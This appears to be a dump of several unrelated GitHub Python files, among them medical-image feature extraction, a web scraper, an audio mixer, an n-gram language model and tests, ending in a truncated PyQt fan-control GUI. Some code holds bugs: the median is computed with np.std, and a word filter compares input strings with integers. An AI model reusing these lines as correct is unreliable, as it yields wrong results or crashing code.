get_statistical_moments(ADC_map)\n\n FA_min, FA_max, FA_mean, FA_std, FA_median, FA_skew, FA_kurtosis, FA_range =\\\n get_statistical_moments(FA_map)\n\n VR_min, VR_max, VR_mean, VR_std, VR_median, VR_skew, VR_kurtosis, VR_range =\\\n get_statistical_moments(VR_map)\n\n # dti_features = [ADC_min, ADC_max, ADC_mean, ADC_std, ADC_median, ADC_skew, ADC_kurtosis, ADC_range,\n # FA_min, FA_max, FA_mean, FA_std, FA_median, FA_skew, FA_kurtosis, FA_range,\n # VR_min, VR_max, VR_mean, VR_std, VR_median, VR_skew, VR_kurtosis, VR_range]\n #\n # panda_labels = ['ADC_min', 'ADC_max', 'ADC_mean', 'ADC_std', 'ADC_median', 'ADC_skew', 'ADC_kurtosis', 'ADC_range',\n # 'FA_min', 'FA_max', 'FA_mean', 'FA_std', 'FA_median', 'FA_skew', 'FA_kurtosis', 'FA_range',\n # 'VR_min', 'VR_max', 'VR_mean', 'VR_std', 'VR_median', 'VR_skew', 'VR_kurtosis', 'VR_range']\n\n dti_features = [ADC_min, ADC_max, ADC_mean, ADC_std, ADC_median, ADC_skew, ADC_kurtosis, ADC_range]\n\n dti_labels = ['ADC_min', 'ADC_max', 'ADC_mean', 'ADC_std', 'ADC_median', 'ADC_skew', 'ADC_kurtosis', 'ADC_range']\n\n return dti_features, dti_labels\n\n\ndef get_statistical_moments(tumor_map):\n\n min_val = np.percentile(tumor_map, 2)\n max_val = np.percentile(tumor_map, 98)\n mean_val = np.mean(tumor_map)\n std_val = np.std(tumor_map)\n median_val = np.std(tumor_map)\n skew_val = scipy.stats.skew(tumor_map)\n kurtosis_val = scipy.stats.kurtosis(tumor_map)\n range_val = max_val - min_val\n\n return min_val, max_val, mean_val, std_val, median_val, skew_val, kurtosis_val, range_val\n","repo_name":"Svdvoort/PREDICTFastr","sub_path":"PREDICT/imagefeatures/dti_features.py","file_name":"dti_features.py","file_ext":"py","file_size_in_byte":4454,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"32635925228","text":"from Project import Project\nfrom datetime import date\nfrom User import User\n\nclass ProjectCreationScreen:\n\n def display_form(self, user: User) -> Project:\n project = Project()\n project.name = input(\"PROJECT NAME:\")\n project.date_created = date.today()\n while True:\n try:\n due_year = int(input(\"YEAR DUE:\"))\n due_month = int(input(\"MONTH DUE:\"))\n due_day = int(input(\"DAY DUE:\"))\n break\n except ValueError:\n pass\n project.due_date = date(due_year, due_month, due_day)\n project.admin = user\n project.member = []\n project.completed = False\n project.description = input(\"PROJECT DESCRIPTION:\")\n return project\n\n\nif __name__ == \"__main__\":\n print(ProjectCreationScreen().display_form(User()).description)","repo_name":"XO-Appleton/Project-Manage-Application","sub_path":"ProjectCreationScreen.py","file_name":"ProjectCreationScreen.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11591431224","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n \n\n'''\nEscribir una función filtrar_palabras()\n que tome una lista de palabras y un entero n, y devuelva las palabras que tengan mas de n caracteres. \n'''\n\n\ndef filtrar_palabras(lista, numero):\n\tarray = []\n\tfor palabra in lista:\n\t\tif len(palabra) >= numero:\n\t\t\tarray.append(palabra)\n\n\tif len(array) == 0:\n\t\tprint(\"Ninguna palabra :(\")\n\telse:\n\t\tprint(array)\n\n\nlista = [\"sa\", \"sfsaf\", \"dsfds\", \"idsids\"]\nnumero = input(\"Escribe un numero: \")\nfiltrar_palabras(lista, numero)","repo_name":"scsjonatan/Ejercicios-Python","sub_path":"mas_de_n_caracteres.py","file_name":"mas_de_n_caracteres.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"39031811798","text":"import sys\nimport argparse\nfrom App import create_app\nfrom conf import env_factory\n\ndef run(args):\n env = env_factory(args.env)\n print(args.env)\n print(env.PORT)\n app=create_app(env)\n app.run(host=env.HOST, port=env.PORT)\ndef main(argv=sys.argv[1:]):\n parser = argparse.ArgumentParser()\n subparsers = parser.add_subparsers()\n run_parsers = subparsers.add_parser(\"run\")\n #run_parsers.add_argument('env',type=str,choices=[\"local\",\"debug\",\"testing\",\"production\"],default=\"local\")\n run_group = run_parsers.add_mutually_exclusive_group(required=False)\n run_group.add_argument('-e','--env',choices=[\"local\",\"debug\",\"testing\",\"production\"],default=\"local\")\n run_parsers.set_defaults(func=run)\n args = parser.parse_args()\n args.func(args)\n\nif __name__ == '__main__':\n main()\n","repo_name":"eyangba/auth-center","sub_path":"auth-center/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32866165020","text":"# -*- coding: utf-8 -*-\n\n\n# Department : 保障部\n# Author : 袁龚浩\n# Create_date : 2018-05-16\n\n\nfrom datetime import datetime\nfrom FundNavSpiders import GGFundNavItem\nfrom FundNavSpiders import GGFundNavSpider\nimport re\n\n\nclass ShangHaiQianKunAssetSpider(GGFundNavSpider):\n name = 'FundNav_ShangHaiQianKunAsset'\n sitename = '上海乾堃资产'\n channel = '投资顾问'\n allowed_domains = ['www.qk-capital.com']\n\n ips = [{\n 'url': 'http://www.qk-capital.com/lists/30/p/1.html',\n }]\n\n def parse_item(self, response):\n f_list = response.xpath('//tbody//tr')\n for i in f_list:\n item = GGFundNavItem()\n t = i.xpath('td//text()').extract()\n fund_name = re.findall('.*净值', t[0])[0].replace('净值', '')\n if i.xpath('td[3]//text()'):\n nav = t[1]\n added_nav = t[2]\n statistic_date = t[3]\n item['nav'] = float(nav) if nav is not None else None\n item['added_nav'] = float(added_nav) if nav is not None else None\n else:\n nav = t[1]\n statistic_date = t[2]\n item['nav'] = float(nav) if nav is not None else None\n\n item['sitename'] = self.sitename\n item['channel'] = self.channel\n item['url'] = response.url\n item['fund_name'] = fund_name\n item['statistic_date'] = datetime.strptime(statistic_date,'%Y-%m-%d')\n yield item\n\n next_href = response.xpath('//li[@class =\"paging_next\"]//a[contains(text(),下一页)]//@href').extract_first()\n if next_href:\n ips_url = 'http://www.qk-capital.com' + next_href\n self.ips.append({\n 'url': ips_url,\n 'ref': response.url\n })\n","repo_name":"xhsong2009/ggscrapy","sub_path":"FundNavSpiders/20180516_ygh_ShangHaiQianKunAsset.py","file_name":"20180516_ygh_ShangHaiQianKunAsset.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"34946094541","text":"friends=[\"Kavya\",\"Shriya\",\"Labdhi\",\"Madhura\",\"Sneha\",\"Bhavna\"]\r\n#append-add an element\r\nfriends.append(\"Rucha\")\r\nprint(friends)\r\n#clear-delete all elements\r\nfriends.clear()\r\nprint(friends)\r\n#copy-returns the copy of a list\r\nfriends=[\"Kavya\",\"Shriya\",\"Labdhi\",\"Madhura\",\"Sneha\",\"Bhavna\",\"Rucha\"]\r\nx=friends.copy()\r\nprint(x)\r\n#count- counts the number of times a particular element appears in the list\r\ny=friends.count(\"Shriya\")\r\nprint(y)\r\n#extend-add a list to the end of another list\r\ndrinks=[\"Juice\",\"Cold Drinks\",\"Soda\",\"Limewater\"]\r\nfriends.extend(drinks)\r\nprint(friends)\r\n#index-tells the position of the element\r\nz=friends.index(\"Madhura\")\r\nprint(z)\r\n#insert-adds an element to a specific position unlike append\r\nfriends.insert(3,\"Shambhavee\")\r\nprint(friends)\r\n#pop-removes an element from a specific position\r\nfriends.pop(8)\r\nfriends.pop(8)\r\nfriends.pop(8)\r\nfriends.pop(8)\r\nprint(friends)\r\n#remove-removes a particular element\r\nfriends.remove(\"Bhavna\")\r\nprint(friends)\r\n#reverse- reverses the order of list\r\nfriends.reverse()\r\nprint(friends)\r\n#sort-sorts the list alphabetically\r\nfriends.sort()\r\nprint(friends)\r\n","repo_name":"kavya12kohli/python","sub_path":"List_methods.py","file_name":"List_methods.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22081941734","text":"import soundcard as sc\nfrom fuzzywuzzy import fuzz\n\nfrom enum import Enum\nimport logging\n\nlogging.basicConfig(level=logging.DEBUG)\nlogger = logging.getLogger()\n\ntry:\n from systemd import journal\nexcept ImportError:\n pass\nelse:\n logger.addHandler(journal.JournaldLogHandler())\n\nSAMPLE_RATE = 48000\nBLOCK_SIZE = 512\nNUM_FRAMES = 256\n\nSPEAKER_NAME = \"Speaker USB PnP Sound Device\"\nINPUT_NAME = \"Microphone USB PnP Sound Device\"\nLOOPBACK_NAME = \"Loopback Monitor of Null Output\"\n\nFUZZ_MATCHING = 50\nMIN_PLAYING_COUNT = 500\nSILENCE = 0.01\n\n\nclass Inputs(Enum):\n CHANNEL1 = 1\n CHANNEL2 = 2\n OPENDSH = 3\n\n\ndef is_silent(data):\n for d in data:\n if abs(d) > SILENCE:\n return False\n return True\n\n\ndef speaker_name_matcher(spkr):\n r = fuzz.ratio(SPEAKER_NAME, spkr.name)\n pr = fuzz.partial_ratio(SPEAKER_NAME, spkr.name)\n return r > FUZZ_MATCHING and pr > FUZZ_MATCHING\n\n\ndef mic_name_matcher(mic):\n r = fuzz.ratio(INPUT_NAME, mic.name)\n pr = fuzz.partial_ratio(INPUT_NAME, mic.name)\n return r > FUZZ_MATCHING and pr > FUZZ_MATCHING\n\n\ndef find_loopback_port():\n r, pr = 0.0, 0.0\n for m in sc.all_microphones(include_loopback=True):\n r = fuzz.ratio(LOOPBACK_NAME, m.name)\n pr = fuzz.ratio(LOOPBACK_NAME, m.name)\n print(\"{} : {} {}\".format(m.name, r, pr))\n if r > FUZZ_MATCHING and pr > FUZZ_MATCHING:\n return m\n\n logger.warning(\"could not find loopback port: {} {}\".format(r, pr))\n return None\n\n\ndef start_mixer():\n\n all_speakers = sc.all_speakers()\n (spkr1, spkr2) = filter(speaker_name_matcher, all_speakers)\n\n all_inputs = sc.all_microphones()\n (mic1, mic2) = filter(mic_name_matcher, all_inputs)\n\n input1 = mic1.recorder(samplerate=SAMPLE_RATE, blocksize=BLOCK_SIZE)\n input1.__enter__()\n\n input2 = mic2.recorder(samplerate=SAMPLE_RATE, blocksize=BLOCK_SIZE)\n input2.__enter__()\n\n lb = find_loopback_port()\n opendsh = lb.recorder(samplerate=SAMPLE_RATE, blocksize=BLOCK_SIZE)\n opendsh.__enter__()\n\n output1 = spkr1.player(samplerate=SAMPLE_RATE)\n output1.__enter__()\n\n output2 = spkr2.player(samplerate=SAMPLE_RATE)\n output2.__enter__()\n\n player = None\n playing_count = 0\n\n while True:\n\n playing = None\n\n i1 = input1.record(numframes=NUM_FRAMES)\n i2 = input2.record(numframes=NUM_FRAMES)\n od = opendsh.record(numframes=NUM_FRAMES)\n\n if player == Inputs.CHANNEL1 and playing_count < MIN_PLAYING_COUNT:\n output1.play(i1)\n output2.play(i1)\n playing = Inputs.CHANNEL1\n elif player == Inputs.CHANNEL2 and playing_count < MIN_PLAYING_COUNT:\n output1.play(i2)\n output2.play(i2)\n playing = Inputs.CHANNEL2\n elif player == Inputs.OPENDSH and playing_count < MIN_PLAYING_COUNT:\n output1.play(od)\n output2.play(od)\n playing = Inputs.OPENDSH\n elif not is_silent(i1):\n output1.play(i1)\n output2.play(i1)\n playing = Inputs.CHANNEL1\n elif not is_silent(i2):\n output1.play(i2)\n output2.play(i2)\n playing = Inputs.CHANNEL2\n else:\n output1.play(od)\n output2.play(od)\n playing = Inputs.OPENDSH\n\n if playing != player:\n logger.debug(\"switching to player: {}\".format(playing))\n player = playing\n playing_count = 0\n else:\n playing_count += 1\n\nprint(__name__)\nprint(__file__)\nif __name__ == \"__main__\":\n\n start_mixer()\n","repo_name":"RenixPi/RenixRadio","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10961379349","text":"import sys\nimport numpy as np\n\n\nclass LanguageModel:\n\n def __init__(self, order=3, append_first=True, append_last=True):\n self.order = order\n self.root = 0\n # вершина: предок, уровень, сыновья, счётчик, вероятность, backoff\n self.trie = [[None, 0, dict(), 0, 0.0, 0.0]]\n self.append_first = append_first\n self.append_last = append_last\n\n def train(self, sents):\n for i, sent in enumerate(sents):\n if self.append_first:\n sent = [\"\"] + sent\n if self.append_last:\n sent += [\"\"]\n nodes = [self.root] + [None] * (self.order - 1)\n for word in sent:\n new_nodes = [None] * (self.order)\n prev, prev_index = self.trie[self.root], self.root\n prev[3] += 1\n for i, prev_index in enumerate(nodes):\n child_index = prev[2].get(word)\n if child_index is None:\n prev[2][word] = child_index = len(self.trie)\n self.trie.append([prev_index, i + 1, dict(), 0, 0.0, 0.0])\n self.trie[child_index][3] += 1\n new_nodes[i] = child_index\n if prev_index is None:\n break\n prev = self.trie[prev_index]\n nodes = new_nodes\n return self\n\n def __str__(self):\n return self._str_from_node(self.root)\n\n def _str_from_node(self, index, path=[]):\n node = self.trie[index]\n answer = \"{}\\t{}\\t{:.2f}\\t{:.2f}\".format(\" \".join(path), node[3], node[4], node[5])\n if len(node[2]) > 0:\n answer += \"\\n\"\n answer += \"\\n\".join(self._str_from_node(child_index, path + [word])\n for word, child_index in sorted(node[2].items()))\n return answer\n\n def make_WittenBell_smoothing(self):\n for node in self.trie:\n continuations_count = len(node[2])\n if node[1] == self.order or continuations_count == 0:\n continue\n continuations_sum = sum(self.trie[child][3] for child in node[2].values())\n denominator_log = np.log10(continuations_count + continuations_sum)\n for child in node[2].values():\n child_node = self.trie[child]\n child_node[4] = np.log10(child_node[3]) - denominator_log\n node[5] = np.log10(continuations_count) - denominator_log\n return self\n\n def make_arpa_file(self, outfile):\n with open(outfile, \"w\", encoding=\"utf8\") as fout:\n counts = [0] * self.order\n for node in self.trie[1:]:\n counts[node[1]-1] += 1\n counts[0] += 1\n # счётчики n-грамм\n fout.write(\"\\\\data\\\\\\n\")\n fout.write(\"\\n\".join(\"ngram {}={}\".format(i+1, count)\n for i, count in enumerate(counts)))\n fout.write(\"\\n\\n\")\n fout.write(\"\\\\1-grams:\\n{:.2f}\\t\\t0\\n\".format(self.trie[0][5]))\n stack = [(0, [])]\n node_data = [[] for _ in range(self.order)]\n while(len(stack) > 0):\n index, key = stack.pop()\n node = self.trie[index]\n for word, child_index in node[2].items():\n stack.append((child_index, key+[word]))\n if node[1] > 0:\n if key != ['']:\n node_data[node[1] - 1].append((key, node[4], node[5]))\n else:\n node_data[0] = [(key, node[4], node[5])] + node_data[0]\n for key, prob, backoff in node_data[0]:\n fout.write(\"{:.6f}\\t{}\\t{:.6f}\\n\".format(prob, key[0], backoff))\n for i, curr_node_data in enumerate(node_data[1:-1], 1):\n fout.write(\"\\n\\n\")\n fout.write(\"\\\\{}-grams:\\n\".format(i+1))\n for key, prob, backoff in curr_node_data:\n fout.write(\"{:.6f}\\t{}\\t{:.6f}\\n\".format(prob, \" \".join(key), backoff))\n fout.write(\"\\\\{}-grams:\\n\".format(self.order))\n for key, prob, backoff in node_data[-1]:\n fout.write(\"{:.6f}\\t{}\\n\".format(prob, \" \".join(key)))\n fout.write(\"\\n\\\\end\\\\\\n\")\n\n\ndef read_data(infile):\n answer = []\n with open(infile, \"r\", encoding=\"utf8\") as fin:\n for i, line in enumerate(fin):\n if i % 500000 == 0:\n print(i)\n line = line.strip()\n if line == \"\":\n continue\n answer.append(line.split())\n return answer\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n infile, order, outfile = args\n order = int(order)\n language_model = LanguageModel(order)\n data = read_data(infile)\n language_model.train(data)\n language_model.make_WittenBell_smoothing()\n # with open(outfile, \"w\", encoding=\"utf8\") as fout:\n # fout.write(str(language_model))\n language_model.make_arpa_file(outfile)\n\n\n","repo_name":"AlexeySorokin/pyparadigm","sub_path":"scripts/counts_collector.py","file_name":"counts_collector.py","file_ext":"py","file_size_in_byte":5100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30703297494","text":"# -*- coding: utf-8 -*-\n\"\"\"Tests for linked_list.py.\"\"\"\nfrom __future__ import unicode_literals\n\nimport pytest\nfrom linked_list import Node, LinkedList\n\nTYPE_TABLE = [\n ['1'],\n [1],\n ['-'] * 10000,\n ['āĕijœ'],\n [],\n [b'1234'],\n ['12345\\t'],\n [1, 2, 3],\n (1, 2, 3)\n]\n\nTABLE_LENGTHS = [\n (['a'], \"(a)\"),\n (['a', 'b'], \"(b, a)\"),\n (['a', 'b', 'c'], \"(c, b, a)\"),\n (('a b c ' * 5).split(), \"(c, b, a, c, b, a, c, b, a, c, b, a, c, b, a)\"),\n ([], None)\n]\n\n\nLONG_LIST = ('a b c ' * 10000).split()\n\nSEARCH_TABLE = [\n (['a'], 'a', True),\n (['1'], '1', True),\n ([], '1', False),\n ([1, 2, 3], 1, True),\n ([1, 2, 3], '1', False),\n ([1, 2, 3], 4, False),\n ([[1, 2], 3], 1, False),\n ([[1, 2], 3], [1, 2], True),\n ([1, 2, 3], None, False),\n ([1, 2, 3, 2], 2, True),\n ([1] + LONG_LIST, 1, True),\n (LONG_LIST + [1], 1, True),\n (TYPE_TABLE, [b'1234'], True),\n (TYPE_TABLE, ['āĕijœ'], True),\n (TYPE_TABLE, ['12345\\t'], True),\n (TYPE_TABLE, (1, 2, 3), True),\n]\n\n# Node Tests\n\n\n@pytest.mark.parametrize('init_value', TYPE_TABLE)\ndef test_node_init_value(init_value):\n \"\"\"Test that the values initialize correctly.\"\"\"\n test_node = Node(init_value)\n assert test_node.value == init_value\n\n\ndef test_node_init_pointer():\n \"\"\"Test that the pointer initializes correctly.\"\"\"\n test_node = Node('test')\n assert test_node.pointer is None\n\n\ndef test_node_pointer():\n \"\"\"Test that the node pointer returns the correct node.\"\"\"\n test_node = Node('init_node')\n second_node = Node('second_node', test_node)\n assert second_node.pointer == test_node\n\n# List Test\n\n\ndef test_empty_list_length():\n \"\"\"Test to see if any empty string has length zero.\"\"\"\n empty_list = LinkedList()\n assert empty_list.length == 0\n\n\n@pytest.mark.parametrize('init_list, result', TABLE_LENGTHS)\ndef test_length(init_list, result):\n \"\"\"Test the size function on strings of different lengths.\"\"\"\n test_list = LinkedList(init_list)\n assert test_list.length == len(init_list)\n\n\n@pytest.mark.parametrize('init_list, result', TABLE_LENGTHS)\ndef test_size(init_list, result):\n \"\"\"Test the size function on strings of different lengths.\"\"\"\n test_list = LinkedList(init_list)\n assert test_list.size() == len(init_list)\n\n\ndef test_empty_list_pointer():\n \"\"\"Test to see if any empty string has length zero.\"\"\"\n empty_list = LinkedList()\n assert empty_list.header is None\n\n\n@pytest.mark.parametrize('init_value', TYPE_TABLE)\ndef test_list_push_empty(init_value):\n \"\"\"Test push on an empty list.\"\"\"\n test_list = LinkedList()\n test_list.push(init_value)\n assert test_list.header.value == init_value\n\n\ndef test_list_push_head_value():\n \"\"\"Test push on a non-empty list. Make sure pushing to head.\"\"\"\n test_list = LinkedList()\n test_list.push('initial_node')\n test_list.push('second_node')\n assert test_list.header.value == 'second_node'\n\n\ndef test_list_push_pointer():\n \"\"\"Test push on a non-empty list. Make sure that pointer is initializing correctly.\"\"\"\n test_list = LinkedList()\n test_list.push('initial_node')\n test_list.push('second_node')\n assert test_list.header.pointer.value == 'initial_node'\n\n\ndef test_push_length():\n \"\"\"Test length is correct after a push.\"\"\"\n test_list = LinkedList(['a', 'b'])\n test_list.push('c')\n assert test_list.size() == 3\n\n\n@pytest.mark.parametrize('init_value', TYPE_TABLE)\ndef test_pop(init_value):\n \"\"\"Test pop returns correct value.\"\"\"\n test_list = LinkedList()\n test_list.push(init_value)\n assert test_list.pop() == init_value\n\n\ndef test_pop_empty():\n \"\"\"Test that popping an empty string returns None.\"\"\"\n test_list = LinkedList()\n with pytest.raises(IndexError):\n test_list.pop()\n\n\ndef test_pop_length():\n \"\"\"Test length is correct after a pop.\"\"\"\n test_list = LinkedList(['a', 'b'])\n test_list.pop()\n assert test_list.size() == 1\n\n\n@pytest.mark.parametrize('init_value', TYPE_TABLE)\ndef test_display(init_value):\n \"\"\"Test display function.\"\"\"\n test_list = LinkedList()\n test_list.push(init_value)\n assert test_list.display() == '({0})'.format(init_value)\n\n\n@pytest.mark.parametrize('init_list, result', TABLE_LENGTHS)\ndef test_display_long(init_list, result):\n \"\"\"Test display function on longer strings.\"\"\"\n test_list = LinkedList(init_list)\n assert test_list.display() == result\n\n\ndef test_size_xl():\n \"\"\"Test init and size on an xl list.\"\"\"\n test_list = LinkedList(LONG_LIST)\n assert test_list.size() == 30000\n\n\n@pytest.mark.parametrize('init_list, search_val, result', SEARCH_TABLE)\ndef test_search(init_list, search_val, result):\n \"\"\"Test display function on longer strings.\"\"\"\n test_list = LinkedList(init_list)\n assert bool(test_list.search(search_val)) is result\n","repo_name":"jefferyrayrussell/data-structures","sub_path":"src/test_linked_list.py","file_name":"test_linked_list.py","file_ext":"py","file_size_in_byte":4838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20692701827","text":"test_data = [\n l.strip()\n for l in \"\"\"\n30373\n25512\n65332\n33549\n35390\n\"\"\".splitlines()\n if l.strip()\n]\n\nwith open(\"day08-input.txt\", \"r\") as f:\n data = [l.strip() for l in f.readlines()]\n\n\ndef visible_from_left(data, x, y, height):\n if x == 0:\n return (True, 0)\n\n x -= 1\n score = 0\n while x > -1:\n score += 1\n if data[y][x] < height:\n x -= 1\n else:\n return (False, score)\n\n return (True, score)\n\n\ndef visible_from_right(data, x, y, height, bound):\n if x == bound:\n return (True, 0)\n\n score = 0\n x += 1\n while x < bound:\n score += 1\n if data[y][x] < height:\n x += 1\n else:\n return (False, score)\n\n return (True, score)\n\n\ndef visible_from_top(data, x, y, height):\n if y == 0:\n return (True, 0)\n\n y -= 1\n score = 0\n while y > -1:\n score += 1\n if data[y][x] < height:\n y -= 1\n else:\n return (False, score)\n\n return (True, score)\n\n\ndef visible_from_bottom(data, x, y, height, bound):\n if y == bound:\n return (True, 0)\n\n y += 1\n score = 0\n while y < bound:\n score += 1\n if data[y][x] < height:\n y += 1\n else:\n return (False, score)\n\n return (True, score)\n\n\ndef get_visible_count(data) -> int:\n # If data is not empty, then all the trees at the edges are visible\n VISIBLE_TREES = (2 * len(data)) + (2 * (len(data[0]) - 2))\n\n MAX_Y = len(data)\n MAX_X = len(data[0])\n\n for y in range(1, MAX_Y - 1):\n for x in range(1, MAX_X - 1):\n height = data[y][x]\n if (\n visible_from_left(data, x, y, height)[0]\n or visible_from_top(data, x, y, height)[0]\n or visible_from_bottom(data, x, y, height, MAX_Y)[0]\n or visible_from_right(data, x, y, height, MAX_X)[0]\n ):\n VISIBLE_TREES += 1\n\n return VISIBLE_TREES\n\n\ndef get_scenic_score(data, x, y) -> int:\n score = 1\n max_y = len(data)\n max_x = len(data[0])\n\n # for y in range(max_y):\n # for x in range(max_x):\n height = data[y][x]\n score *= visible_from_left(data, x, y, height)[1]\n score *= visible_from_top(data, x, y, height)[1]\n score *= visible_from_bottom(data, x, y, height, max_x)[1]\n score *= visible_from_right(data, x, y, height, max_y)[1]\n\n return score\n\n\ndef get_max_scenic_score(data):\n scores = {}\n for y in range(len(data)):\n for x in range(len(data[0])):\n scores[(x, y)] = get_scenic_score(data, x, y)\n\n return max(scores.values())\n\n\nassert get_visible_count(test_data) == 21\nassert get_visible_count(data) == 1805\nassert get_scenic_score(test_data, 2, 1) == 4\nassert get_scenic_score(test_data, 2, 3) == 8\n\nassert get_max_scenic_score(test_data) == 8\nassert get_max_scenic_score(data) == 444528\n\n\nprint(f\"Q1 answer is {get_visible_count(data)}\")\nprint(f\"Q2 answer is {get_max_scenic_score(data)}\")\n","repo_name":"chris-steenkamp/aoc2022","sub_path":"day08/day08.py","file_name":"day08.py","file_ext":"py","file_size_in_byte":3010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9833475967","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n Implements UI \n\"\"\"\n\nimport sys\nimport logging\nfrom PyQt5 import QtCore, QtWidgets, QtGui\nfrom PyQt5.QtWidgets import QMainWindow\nfrom ui.gui import Ui_gui\nfrom SensorsThread import SensorsThread\nimport Settings as stt\n\nclass FanComponents(object):\n def __init__(self, fan_id, cb_fan_profile, sld_fan_speed, lbl_fan_speed,\n lbl_fan_led, lbl_fan_rpm, lbl_fan_watt):\n self.fan_id = fan_id\n self.cb_fan_profile = cb_fan_profile\n self.sld_fan_speed = sld_fan_speed\n self.lbl_fan_speed = lbl_fan_speed\n self.lbl_fan_led = lbl_fan_led\n self.lbl_fan_rpm = lbl_fan_rpm\n self.lbl_fan_watt = lbl_fan_watt\n self.pins = 0\n \n def change_lbl_led(self, pins):\n #4 PINS FAN\n if int(pins) == 4:\n if self.pins != 4:\n self.lbl_fan_led.setPixmap(QtGui.QPixmap(stt.GREEN_LED))\n self.lbl_fan_led.setToolTip(\"4-Pin Fan Connected\")\n if self.sld_fan_speed.isEnabled()==False:\n self.sld_fan_speed.setEnabled(True)\n self.sld_fan_speed.setValue(50)\n elif pins == 3:\n if self.pins != 3:\n self.lbl_fan_led.setPixmap(QtGui.QPixmap(stt.BLUE_LED))\n self.lbl_fan_led.setToolTip(\"3-Pin Fan Connected\")\n if self.sld_fan_speed.isEnabled()==False:\n self.sld_fan_speed.setEnabled(True)\n self.sld_fan_speed.setValue(50)\n else:\n if self.pins > 0:\n self.lbl_fan_led.setPixmap(QtGui.QPixmap(stt.RED_LED))\n self.lbl_fan_led.setToolTip(\"Fan Disconnected\")\n if self.sld_fan_speed.isEnabled()==False:\n self.sld_fan_speed.setEnabled(False)\n self.sld_fan_speed.setValue(0)\n \n def change_sld_speed(self, speed, thread):\n if self.sld_fan_speed.isEnabled():\n thread.set_fan_speed(self.fan_id,speed)\n\nclass pygridv3(QMainWindow):\n \"\"\"Implemets the Fan components logic\"\"\"\n \n def __init__(self, parent=None):\n logging.basicConfig(filename=stt.LOG_FILENAME, level=stt.LOG_LEVEL)\n self.__logger = logging.getLogger(__name__)\n \n \n QtWidgets.QWidget.__init__(self,parent)\n self.ui = Ui_gui()\n self.ui.setupUi(self)\n \n self.thread = SensorsThread()\n \n #Initialize states\n self.ui.sld_fan_speed_0.setEnabled(False)\n \n self.ui.sld_fan_speed_1.setEnabled(False)\n self.ui.sld_fan_speed_2.setEnabled(False)\n self.ui.sld_fan_speed_3.setEnabled(False)\n self.ui.sld_fan_speed_4.setEnabled(False)\n self.ui.sld_fan_speed_5.setEnabled(False)\n \n #Create Fan components objects\n self.fan_components = []\n self.fan_components.append(FanComponents(0, self.ui.cb_fan_profile_0, self.ui.sld_fan_speed_0, self.ui.lbl_fan_speed_0,\n self.ui.lbl_fan_led_0, self.ui.lbl_fan_rpm_0, self.ui.lbl_fan_watt_0))\n self.fan_components.append(FanComponents(1, self.ui.cb_fan_profile_1, self.ui.sld_fan_speed_1, self.ui.lbl_fan_speed_1,\n self.ui.lbl_fan_led_1, self.ui.lbl_fan_rpm_1, self.ui.lbl_fan_watt_1))\n self.fan_components.append(FanComponents(2, self.ui.cb_fan_profile_2, self.ui.sld_fan_speed_2, self.ui.lbl_fan_speed_2,\n self.ui.lbl_fan_led_2, self.ui.lbl_fan_rpm_2, self.ui.lbl_fan_watt_2))\n self.fan_components.append(FanComponents(3, self.ui.cb_fan_profile_3, self.ui.sld_fan_speed_3, self.ui.lbl_fan_speed_3,\n self.ui.lbl_fan_led_3, self.ui.lbl_fan_rpm_3, self.ui.lbl_fan_watt_3))\n self.fan_components.append(FanComponents(4, self.ui.cb_fan_profile_4, self.ui.sld_fan_speed_4, self.ui.lbl_fan_speed_4,\n self.ui.lbl_fan_led_4, self.ui.lbl_fan_rpm_4, self.ui.lbl_fan_watt_4))\n self.fan_components.append(FanComponents(5, self.ui.cb_fan_profile_5, self.ui.sld_fan_speed_5, self.ui.lbl_fan_speed_5,\n self.ui.lbl_fan_led_5, self.ui.lbl_fan_rpm_5, self.ui.lbl_fan_watt_5))\n \n #Connect fan slides to speed labels\n self.ui.sld_fan_speed_0.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_0.setText(str(x)+ \"%\"))\n self.ui.sld_fan_speed_1.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_1.setText(str(x)+ \"%\"))\n self.ui.sld_fan_speed_2.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_2.setText(str(x)+ \"%\"))\n self.ui.sld_fan_speed_3.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_3.setText(str(x)+ \"%\"))\n self.ui.sld_fan_speed_4.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_4.setText(str(x)+ \"%\"))\n self.ui.sld_fan_speed_5.valueChanged.connect(lambda x: self.ui.lbl_fan_speed_5.setText(str(x)+ \"%\"))\n \n #Connect fan slides to speed control\n self.ui.sld_fan_speed_0.valueChanged.connect(lambda x : self.fan_components[0].change_sld_speed(x,self.thread))\n self.ui.sld_fan_speed_1.valueChanged.connect(lambda x : self.fan_components[1].change_sld_speed(x,self.thread))\n self.ui.sld_fan_speed_2.valueChanged.connect(lambda x : self.fan_components[2].change_sld_speed(x,self.thread))\n self.ui.sld_fan_speed_3.valueChanged.connect(lambda x : self.fan_components[3].change_sld_speed(x,self.thread))\n self.ui.sld_fan_speed_4.valueChanged.connect(lambda x : self.fan_components[4].change_sld_speed(x,self.thread))\n 